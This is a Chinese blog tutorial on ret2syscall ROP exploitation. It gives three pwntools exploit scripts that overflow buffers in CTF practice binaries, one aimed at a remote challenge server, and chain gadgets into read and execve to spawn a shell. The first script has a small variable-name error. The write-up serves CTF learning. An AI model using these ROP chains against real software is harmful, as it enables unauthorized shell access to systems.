前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP-Ret2syscall详解

ROP-Ret2syscall详解

作者头像
偏有宸机
发布2020-11-04 10:26:00
1.3K0
发布2020-11-04 10:26:00
举报
文章被收录于专栏:宸机笔记

利用原理

ret2syscall,即控制程序执行系统调用,获取 shell。 可以理解为拼接成一个系统调用的栈。

eaxebxecxedx中带入指定的参数拼接成关键的系统函数,最后在寻找int 0x80的地址,从而执行这些函数.

顺序

32位

eax->edx->ecx->ebx

64位

rdi->rsi->rdx->rcx->r8->r9

解题步骤

先使用cyclic测试出溢出点

确定要调用的系统函数

再使用工具RODgatgets查找各寄存器、、所在的地址

然后构造payload中依次对该地址传值

如果没有/bin/sh就要先调用read函数(详情见统函数页笔记)

图片
图片

例题

Rop[简单系统调用]

点击下载-提取码: v3jq

思路

比较容易 参照上面解题步骤即可。

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./rop")
eax_pop = 0x080bb196
edx_ecx_ebx_pop = 0x0806eb90
sh_pop = 0x080be408
Ret_syscall = 0x08049421
payload = "a"*112
payload += p32(eax_pop)+p32(0x0b)
payload += p32(edx_ecx_ebx_pop)+p32(0x0)+p32(0x0)+p32(sh_pop)
payload += p32(ret_syscall)
sh.sendline(payload)
sh.interactive()

Ret2sys[多系统函数调用]

点击下载-提取码:64ff

思路

  1. 由于程序中并没有/bin/sh这个字符串,如果执行系统调用必须要手动将/bin/sh写入到程序bss段中
  2. 构造payload可以使用read函数,在内存地址中读取之后用户输入的/bin/sh 先找到eax,ebx,ecx,edx以及int 0x80的地址
  3. 对eax,ebx,ecx,edx填充read函数的参数(在bss段找到一个有权限的地址,带入到ebx中)
  4. 再次对eax,ebx,ecx,edx填充,这次使用execve函数,执行之前read函数读取的内容所在的地址内的值 即”/bin/sh\x00”
  5. 执行payload,进行溢出,再次向程序中发送数据 即“/bin/sh\x00”

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./ret2sys")
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#sh = remote("120.79.17.251",10005)
pop_eax = 0x080bb2c6 
pop_edx_ecx_ebx = 0x0806ecb0
bss = 0x080eb000
int_0x80 = 0x0806F350
payload = "a"*44
payload += p32(pop_eax)+p32(0x3)
payload += p32(pop_edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0)
payload += p32(int_0x80)
payload += p32(pop_eax)+p32(0xb)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)
payload += p32(int_0x80)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
bin_sh = "/bin/sh\x00"
sh.sendline(bin_sh)
sh.interactive()

Ret2sys[64位寄存器]

点击下载-提取码:5eb8

思路

  • 与32位不同,需要注意以下几点
  • 存储参数的寄存器名不同
  • ret返回的函数名不同
    • 32位为int 0x80,64位为syscall ret

EXP

代码语言:javascript
复制
from pwn import *
#sh = process("./ret2sys_64")
sh = remote("120.79.17.251",10006)
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
pop_rax =0x000000000046b9f8
pop_rdi = 0x00000000004016c3
pop_rdx_rsi =0x00000000004377f9
bss = 0x00000000006c2000
ret = 0x000000000045bac5
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaa"
payload += p64(pop_rax)+p64(0x0)
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload += p64(pop_rdi)+p64(0)
payload += p64(ret)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)
payload += p64(pop_rdi)+p64(bss)
payload += p64(ret)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
sh.sendline("/bin/sh\x00")
sh.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用原理
  • 解题步骤
  • 例题
    • Rop[简单系统调用]
      • 思路
      • EXP
    • Ret2sys[多系统函数调用]
      • 思路
      • EXP
    • Ret2sys[64位寄存器]
      • 思路
      • EXP
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档